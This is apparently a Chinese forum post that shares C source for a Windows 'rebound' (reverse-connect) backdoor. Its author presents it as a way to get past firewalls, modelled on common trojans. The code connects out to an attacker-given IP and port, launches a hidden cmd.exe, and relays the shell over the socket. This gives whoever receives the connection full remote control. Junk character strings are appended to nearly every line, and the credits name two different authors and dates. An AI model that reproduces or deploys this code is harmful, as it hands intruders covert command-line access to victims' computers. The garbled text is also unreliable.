这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]8@s+N
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/* ============================== epN>;e z
Rebound port in Windows NT !iv6k~.e'2
By wind,2006/7 _|+}4 ap
===============================*/ sjGy=d{:oL
#include vz6No%8X
#include 4fauI%kc
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#pragma comment(lib,"wsock32.lib") " GRR,7A
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void OutputShell(); qlSI| @CO
SOCKET sClient; Z5/*iun
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; # dA9v7
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void main(int argc,char **argv) <<'%2q5
{ BOt1J_;(rO
WSADATA stWsaData; `vjn,2S}
int nRet; )qSjI_qt5
SOCKADDR_IN stSaiClient,stSaiServer; ]31>0yj[Q
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if(argc != 3) n8 UG{.
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{ I]GGmN
printf("Useage:\n\rRebound DestIP DestPort\n"); !0-KB#
return; E' -lpE
} j<NZ4Rf
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WSAStartup(MAKEWORD(2,2),&stWsaData); D/[;Y<X#V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =csh=V@s
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stSaiClient.sin_family = AF_INET; F$/7X~*
stSaiClient.sin_port = htons(0); 21k,{FB'?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =/5^/vwgY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j(~e{HZ
{ 3d>8~ANi=%
printf("Bind Socket Failed!\n"); &u`EYxT
return; qu\cU(H|
} ,V^2Oa
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stSaiServer.sin_family = AF_INET; :$6mS[@|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); QmgO00{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lA{JpH_Y8s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B4@1WZn<8
{ e&@;hDmIX
printf("Connect Error!"); X9
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return; knfEbH
} MJ"@
OutputShell(); %$Dn);6=
} VLPPEV-u
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void OutputShell() gmqA 5W~y
{ &]"Z x0t5%
char szBuff[1024]; 'XJqh|G
SECURITY_ATTRIBUTES stSecurityAttributes; LZtO Q__B)
OSVERSIONINFO stOsversionInfo; &|-jU+r}B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?B+]Ex(\B,
STARTUPINFO stStartupInfo; *I:a\o~$[
char *szShell; )\KU:_l
PROCESS_INFORMATION stProcessInformation; FuC#w 9_
unsigned long lBytesRead; mzf~qV^T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &=*sN`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +~K)
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stSecurityAttributes.lpSecurityDescriptor = 0; )O],$\u
stSecurityAttributes.bInheritHandle = TRUE; ' !2NSv
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |&"/u7^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Wr3z%1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =;"e Z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W7W(jMH
stStartupInfo.wShowWindow = SW_HIDE; BZQ"[-V{
stStartupInfo.hStdInput = hReadPipe; U?%T~!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2T?8{yO7
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GetVersionEx(&stOsversionInfo); l(Ya,/4
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switch(stOsversionInfo.dwPlatformId) A("\m>g$b
{ }<qZXb1
case 1: CwM1
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szShell = "command.com"; e:l7 w3?O
break; wpWZn[j
default: C2CR#b=)i
szShell = "cmd.exe"; `_()|; !y
break; o)f$ 7.
} tkYPfUvTE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e?7y$H-
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;
send(sClient,szMsg,77,0); ( Sjlm^bca
while(1) z }Lf]w?
{ Y[N@ )E_G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >Hu3Guik]
if(lBytesRead) B)*1[Jf{4
{ Quwq_.DU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J`4V\D}n
send(sClient,szBuff,lBytesRead,0); ?bH`
} bE,#,
else :N!s@6
{ =Fc}T%
lBytesRead=recv(sClient,szBuff,1024,0); q[Tl#*P?y
if(lBytesRead<=0) break; cQ;@z2\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -_xTs(;|8
} SP\s{,'F-b
} |No9eZ8>.
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return; :IX,mDO
}